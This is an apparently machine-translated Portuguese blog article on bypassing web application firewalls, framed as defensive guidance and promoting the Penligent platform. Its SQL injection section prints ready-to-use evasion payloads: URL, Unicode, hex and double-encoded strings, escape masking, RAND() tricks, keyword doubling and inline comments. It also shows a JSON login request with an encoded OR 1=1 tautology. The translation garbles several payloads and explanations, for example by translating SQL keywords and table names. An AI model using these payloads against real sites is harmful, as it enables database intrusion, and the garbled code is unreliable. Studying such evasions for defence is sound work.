Cabeçalho penumbroso

A arte de contornar WAFs: Técnicas, testes e manual de defesa

Os Web Application Firewalls são uma camada poderosa em uma estratégia de defesa em profundidade, mas não são uma solução milagrosa. A arte de contornar WAFs-como referenciado pelas equipes de segurança - significa estudar como os adversários podem ocultar o tráfego malicioso para que os defensores possam antecipar e fechar essas lacunas. Este artigo apresenta temas de evasão de alto nível, um estudo de caso prático de injeção de SQL para testes defensivos, práticas de automação seguras, abordagens de monitoramento e como as plataformas de validação contínua, como a Penligent, se encaixam em um programa de segurança moderno.

O que é "A arte de contornar WAFs"?

Simplificando, a arte de contornar os WAFs é o estudo de como um invasor pode evitar as proteções do firewall de aplicativos da Web e, o que é mais importante para os defensores, como antecipar, testar e bloquear essas evasões. Um WAF (Web Application Firewall) não é uma bala de prata; os invasores evoluem constantemente em suas táticas. Ao aprender a "arte" da evasão, as equipes de segurança obtêm o insight necessário para transformar a criatividade do atacante em prontidão de defesa, em vez de serem pegas de surpresa.

Por que a pesquisa de desvio de WAF é importante

Atualmente, as equipes de segurança não estudam técnicas de evasão para violar sistemas; elas as estudam porque os agentes de ameaças já o fazem. E, embora os fornecedores de segurança na Web tenham feito grandes progressos, os WAFs continuam falíveis quando o tráfego atinge os limites de como os protocolos e as codificações devem se comportar.

Um estudo acadêmico recente (WAFFLED, 2025) avaliou AWS, Azure, Cloudflare, Google Cloud e ModSecurity, documentando 1.207 instâncias reais de bypass causadas por inconsistências de análise e manuseio inadequado de tipos de conteúdo. Isso não é evidência de fracasso - é um lembrete de que os adversários são pacientes, criativos e metódicos.

Ao mesmo tempo, o mercado de WAF continua crescendo.avaliado em US$ $7,33 bilhões em 2024 e projetado para atingir $8,60 bilhões em 2025 (Fortune Business Insights). As organizações continuam investindo pesadamente porque os WAFs são necessários. Eles simplesmente não são infalíveis.

A lição? A implantação de um WAF é a primeira etapa. Compreender seus limites - e ajustar as defesas com base nesses insights - é a segunda etapa. As equipes maduras fazem as duas.

Contornar WAFs

Como os invasores tentam burlar os WAFs: Uma visão defensiva

Entender como os adversários tentam passar pelos Firewalls de Aplicativos da Web não significa ensinar as pessoas a atacar; trata-se de identificar as brechas antes que alguém o faça. Na prática, a maioria das tentativas de evasão depende de uma dinâmica simples: o firewall e o aplicativo às vezes veem a mesma solicitação de maneiras diferentes. Os invasores exploram essas lacunas de interpretação - seja alterando a forma como os caracteres são codificados, inserindo a solicitação em um tipo de conteúdo inesperado ou usando verbos HTTP menos usados - e os defensores precisam ser os primeiros a perceber essas incompatibilidades.

Um padrão comum é a aparência inofensiva: uma carga útil que parece inócua para o WAF porque foi codificada, mas o backend a decodifica e age sobre ela. Outra fonte frequente de problemas são as discrepâncias de análise. Pesquisas sobre o comportamento do WAF documentaram centenas de casos em que diferenças sutis - por exemplo, como os corpos de várias partes são tratados ou como os parâmetros duplicados são reduzidos - levaram a resultados inconsistentes entre o filtro do firewall e o analisador do servidor. Não se trata de explorações exóticas, mas de problemas práticos e repetíveis decorrentes de diferentes regras e suposições de análise.

Do ponto de vista defensivo, a solução é simples no conceito, embora às vezes seja complicada na execução: aplicar a normalização antecipadamente, registrar as entradas pré-normalização e do lado do servidor sempre que possível e ajustar as regras de acordo com o comportamento real do aplicativo em vez de confiar apenas em listas de assinaturas. O trecho a seguir ilustra como um corpo JSON aparentemente benigno pode ocultar valores codificados; o registro da solicitação bruta e da entrada do aplicativo pós-decodificada ajuda a revelar se algo passou pelo WAF, mas depois causou um comportamento inesperado no aplicativo

POST /login HTTP/1.1
Host: example.com
Content-Type: application/json
Content-Length: 43

{"user":"admin", "pass":"%27 OR %271%27=%271"}

Em suma, as evasões geralmente não são o resultado de um erro grave, mas sim de pequenas incompatibilidades que se acumulam. Concentrar-se na canonização, na análise consistente e no registro abrangente transforma essas pequenas incompatibilidades de pontos cegos em problemas diagnosticáveis, e esse é o valor prático de estudar os padrões de evasão a partir de uma lente defensiva.

Desvio do WAF da Penligent

Injeção de SQL para contornar o WAF: Definição e técnicas comuns

O que é injeção de SQL que contorna um WAF? A injeção de SQL é uma técnica de ataque em que um adversário injeta instruções SQL mal-intencionadas em campos de entrada para subverter a autenticação de um aplicativo e manipular diretamente o banco de dados subjacente. Um Web Application Firewall (WAF) é uma das defesas comuns contra a injeção de SQL: ele fica entre os usuários e o aplicativo, inspecionando as solicitações e bloqueando padrões de SQL suspeitos antes que eles cheguem ao banco de dados. Injeção de SQL contornando um WAF refere-se às técnicas que os invasores usam para burlar essas regras de filtragem, de modo que o SQL mal-intencionado chegue ao servidor apesar da presença de um WAF.

Compreender esses padrões de desvio é essencial para os defensores. Os atacantes raramente inventam uma nova sintaxe SQL; mais frequentemente eles ofuscar ou transformar cargas úteis para que as verificações heurísticas ingênuas ou baseadas em assinatura não correspondam. Ao mapear essas estratégias de ofuscação, as equipes de defesa podem criar conjuntos de testes baseados em mutação e rotinas de canonização que preencham essas lacunas.

Resumo das técnicas de evasão do SQLi WAF

1. disfarces de codificação A ideia básica por trás dos desvios baseados em codificação é que um invasor transforma a entrada usando codificações de caracteres especiais para que a lógica de detecção do WAF não reconheça mais o SQL mal-intencionado. Em resumo, os disfarces de codificação convertem uma carga útil de SQL detectável de outra forma em um formato que as regras do WAF não conseguem corresponder. A ofuscação baseada em codificação pode assumir várias formas; por exemplo:

  • (1) Codificação de URL:Exemplo :

Carga útil original antes da ofuscação:

SELECT * FROM users WHERE username = 'admin' or 1 = 1;--' AND password = '123456'

Carga útil após disfarce de codificação de URL:

SELECT%20*%20FROM%20users%20WHERE%20username%20%3D%20%27admin%27%20or%201%20%3D%201%3B--%27%20AND%20password%20%3D%20%27123456%27
  • (2)Codificação Unicode:

Carga útil antes da ofuscação:

SELECT * FROM users WHERE nome de usuário = 'admin' OR 1=1 AND senha = '123456'

Carga útil disfarçada:

SELECT+*+FROM+users+WHERE+username+=+'%u0061dmin'+OR+1=1%23+AND+password+=+'123456'
  • (3) Codificação hexadecimal:

Carga útil antes da ofuscação:

 ' OU 1=1 --

Carga útil disfarçada:

27%20%4F%52%201%3D%31%20%2D%2D
  • (4) Codificação secundária:
  • Carga útil antes da ofuscação:
-1 union select 1,2,3,4#
  • Carga útil após a primeira codificação:
%2d%31%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%33%2c%34%23
  • Carga útil após a segunda codificação:
%25%32%64%25%33%31%25%32%30%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%33%32%25%32%63%25%33%33%25%32%63%25%33%34%25%32%33

2. mascaramento de caracteres de escape

  • Carga útil antes da ofuscação:
'UNION SELECT nome de usuário, senha FROM usuários --

Carga útil disfarçada:

\' UNION SELECT nome de usuário, senha FROM usuários --

No exemplo acima, o invasor usou uma aspa simples no payload original e a prefixou com uma barra invertida \, criando um caractere de escape \'. Entretanto, em muitos ambientes de programação, a própria barra invertida também é um caractere de escape. Ao combinar a barra invertida e a aspa simples, o invasor pode produzir um caractere que é efetivamente uma aspa simples "escapada" dentro da instrução SQL em vez de uma aspa simples bruta. Dessa forma, o invasor pode ignorar os filtros e a validação que estão procurando por aspas simples sem escape.

3. ofuscação de números aleatórios

  • Carga útil antes da ofuscação:
UNION SELECT nome de usuário, senha FROM usuários WHERE id=1

Carga útil disfarçada:

' UNION SELECT nome de usuário, senha
FROM users WHERE id=1 AND 1=(SELECT
RAND() < 0.5) --

Nessa carga útil, o invasor usa o RAND() para gerar um número aleatório e o compara com 0.5. Desde RAND() pode retornar qualquer valor entre 0 e 1, o resultado dessa comparação é aleatório: há uma chance de 50% de que o número gerado seja menor que 0,5 e uma chance de 50% de que seja maior ou igual a 0,5.

  • Quando o número gerado é menor que 0,5, o payload se torna:
UNION SELECT nome de usuário, senha FROM usuários WHERE id=1 AND 1=1

Quando o número gerado é maior ou igual a 0,5, o payload se torna:

UNION SELECT nome de usuário, senha FROM usuários WHERE id=1 AND 1=0

Esses dois casos correspondem à execução bem-sucedida e à falha na execução do código malicioso, respectivamente. Além disso, o invasor usa a função -- para eliminar o restante da consulta, dificultando a detecção do payload.

Ao empregar a ofuscação baseada em números aleatórios, a carga útil aparece de forma diferente a cada injeção, o que aumenta a dificuldade de detecção do WAF. Além disso, devido à imprevisibilidade do valor aleatório, o invasor pode inferir se a injeção foi bem-sucedida com base no resultado, enquanto o WAF não consegue detectar esse comportamento.

  1. Ofuscação de combinação de casos Isso é simples: o invasor mistura letras maiúsculas e minúsculas para disfarçar as palavras-chave, por exemplo. Seleção da unidade.
  2. Dupla escrita (duplicação) ofuscação Exemplo: UNIunionON SELselectECT A ideia é simples: o WAF trata esses caracteres como caracteres comuns e não percebe o padrão, enquanto o analisador SQL do aplicativo os normaliza para UNION SELECT e executa de acordo.
  3. Ofuscação de comentários em linha A injeção de SQL com comentário em linha funciona incorporando marcadores de comentário em linha dentro das palavras-chave injetadas para ocultar o SQL mal-intencionado do firewall. Por exemplo, um invasor pode inserir /* ... */ O comentário do WAF é fragmentado na carga útil para que a correspondência de padrões do WAF falhe, mas o analisador do banco de dados interpreta a palavra-chave normalizada e executa o código injetado. Exemplo dado no texto original:
' /!union/ select

Em geral, as técnicas de desvio de injeção de SQL operam na camada de banco de dados/parsing, e diferentes sistemas de gerenciamento de banco de dados têm diferentes comportamentos de parsing, portanto, os métodos de desvio variam de acordo com o DBMS. A ideia central do desvio é a ofuscação: criar a carga útil de modo que ela escape das regras do WAF/filtro, mas ainda seja interpretada como SQL válido pelo aplicativo/banco de dados. Contornar com sucesso geralmente requer uma construção flexível da carga útil e várias tentativas; os WAFs modernos são cada vez mais eficazes, portanto, testar a injeção de SQL ficou mais difícil.

Teste ético de WAF: Abordagens seguras e legais para automação

Assim como as técnicas de desvio evoluem, as equipes de segurança devem adotar fluxos de trabalho de teste seguros, automatizados e repetíveis. Veja a seguir como estruturar um processo defensivo válido:

Configuração do ambiente de laboratório/teste - Sempre valide em um clone seguro da produção. Os testes devem ser realizados em um ambiente de preparação espelhado com regras e roteamento idênticos do WAF; nunca execute testes perturbadores na produção. Capture rastros completos (pré-WAF e pós-WAF) para que você possa analisar as transformações.

Impressão digital do WAF - Entenda qual firewall você está avaliando. Comece com a impressão digital passiva para identificar o fornecedor e o modo. As ferramentas que relatam cabeçalhos e pistas comportamentais o ajudam a definir o escopo das famílias de testes e a se concentrar em pontos cegos realistas.

Geração automatizada de carga útil e fuzzing - Use mecanismos de mutação estruturados. Confie em fuzzers com reconhecimento de contexto que geram diferentes codificações, permutações de tipos de conteúdo e formatos aninhados. A automação garante a repetibilidade e o escalonamento em muitos pontos de extremidade.

Validação controlada e coleta de evidências - Audite ambos os lados. Armazene as respostas do WAF e o comportamento do backend para cada teste. A comparação é a principal evidência para uma correção significativa e trilhas de auditoria.

Manual de correções - Transforme as descobertas em correções priorizadas. Priorize a canonização, reforce os conjuntos de regras, aplique verificações de tipo de conteúdo, corrija os analisadores de servidor e adicione validação em nível de aplicativo. Documentar a propriedade e testar novamente os critérios.

Validação contínua e integração CI/CD - Torne os testes habituais. Integre conjuntos de testes higienizados aos pipelines de CI/CD, para que as atualizações de regras e as alterações de código acionem automaticamente as execuções de microvalidação.

Plataformas de automação (onde elas ajudam) Plataformas como a Penligent automatizam sondagens seguras, coletam traços brutos e normalizados e produzem roteiros de correção priorizados que as equipes podem inserir nos pipelines. Use a automação para fechar o ciclo entre a descoberta e a verificação.

Nesse estágio, uma solução como a Penligent pode agregar valor: ela aceita solicitações em linguagem natural, como "Teste meu WAF para técnicas modernas de desvio e forneça um relatório seguro"O sistema de automação de TI, que é um sistema de controle de qualidade, executa sondas higienizadas, captura evidências e gera etapas de correção priorizadas. A integração dessa automação em seu pipeline de CI/CD garante validação contínua em vez de testes pontuais.

Detectando e monitorando tentativas de desvio de WAF em sistemas ativos

Mesmo com regras de WAF reforçadas, a capacidade de detectar uma tentativa de desvio ativo na produção é vital. Considere estas estratégias:

SinalO que monitorarPor que é importante
Logs de solicitações brutos e normalizadosSalve os registros pré-WAF e pós-WAF (se possível)Permite que você compare o que foi alterado/permitido
Padrões de codificação incomunsSolicitações com muitos %-escapes, sequências Unicode, etc.Pode indicar tentativas de ofuscação
Métodos ou cabeçalhos HTTP inesperadosUso de PUT/TRACE, cabeçalhos personalizados como X-Forwarded-HostPode ignorar a lógica de inspeção padrão
Cargas úteis de baixa taxa, mas repetitivasCargas úteis semelhantes repetidas ao longo do tempo, espaçadasPode indicar evasão lenta e constante
Padrões de erro de back-endErros inesperados de aplicativos ou exceções de análisePoderia mostrar que a carga útil chegou ao aplicativo, embora o WAF tenha registrado "OK"

Ao combinar os logs do WAF, os logs de back-end e a análise de SIEM/EDR, você cria um quadro mais completo da possível evasão. Uma boa prática: acionar alertas quando complexidade de codificação × método não-POST × cabeçalho raro > limiar.

Fortalecimento de seu WAF e aplicativo da Web: Defesa em profundidade

Depois de entender os métodos de evasão e os sinais de detecção, é hora de fortalecer seu ambiente:

  • Habilitar a canonização e a normalização: Garantir que todas as entradas sejam reduzidas a um formato padrão antes da correspondência de regras e do processamento de back-end.
  • Aplicar modelos de segurança positivos: Sempre que possível, coloque na lista branca os padrões aceitos em vez de colocar na lista negra os padrões sabidamente ruins.
  • Aplicar estritamente a validação do tipo de conteúdo e do método HTTP: Permitir somente os métodos esperados (por exemplo, POST para envios de formulários) e validar os tipos de conteúdo (por exemplo, somente application/json para endpoints de API).
  • Camada de proteções adicionais: Use RASP (Runtime Application Self-Protection), EDR e análise comportamental em conjunto com o WAF.
  • Manter testes contínuos e atualizações de regras: As ameaças mudam; as regras devem evoluir da mesma forma. Use a automação de testes e os feeds de inteligência.

No mundo real: Um grande estudo de 2025 ("WAFFLED") constatou que os WAFs tradicionais foram contornados repetidamente por meio de incompatibilidades de análise, reforçando a necessidade de defesa em camadas, em vez de depender apenas de WAFs de assinatura. arXiv

Automação e ferramentas: Unindo pesquisa e defesa prática

Dado o volume e a variedade de tentativas de desvio, o teste manual não é mais suficiente. A automação torna-se fundamental, tanto para a simulação de ataques (em modo de segurança) quanto para a verificação de regras.

Plataformas como a Penligent (se estiver disponível em sua pilha) demonstram como os prompts de linguagem natural podem conduzir testes de penetração seguros:

  • "Teste meu WAF contra os métodos de desvio mais recentes de 2025"
  • "Verifique se há poluição de parâmetros e incompatibilidades de análise de várias partes"

A plataforma então:

  1. Envia sondas seguras e higienizadas
  2. Captura tráfego bloqueado versus tráfego aprovado
  3. Gera um pacote de evidências pronto para auditoria
  4. Fornece um manual de correção (quais regras devem ser reforçadas, quais endpoints devem ser validados)

Usar a automação em seu pipeline de CI/CD significa que cada nova compilação, atualização de regras ou alteração de aplicativo aciona um ciclo de microtestes, garantindo que os WAFs permaneçam eficazes à medida que o código e as ameaças evoluem.

Conclusão

A arte de contornar WAFs não se trata de ensinar como invadir, mas sim de Entendendo como os atacantes pensamAssim, os defensores podem se antecipar, testar e fortalecer suas defesas de acordo. Os Web Application Firewalls continuam sendo uma camada valiosa, mas não são invulneráveis. Ao estudar técnicas de evasão, monitorar de forma inteligente, automatizar testes e aplicar proteção em camadas, você passa de uma postura reativa para uma proativa. Em 2025 e nos anos seguintes, seu WAF deverá evoluir de uma biblioteca de regras para uma defesa dinâmica e validada sob escrutínio contínuo.

Fique à frente: saiba como o desvio acontece, teste com segurança e frequência e fortaleça sua pilha antes que os invasores explorem a brecha.

Compartilhe a postagem:
Publicações relacionadas
pt_BRPortuguese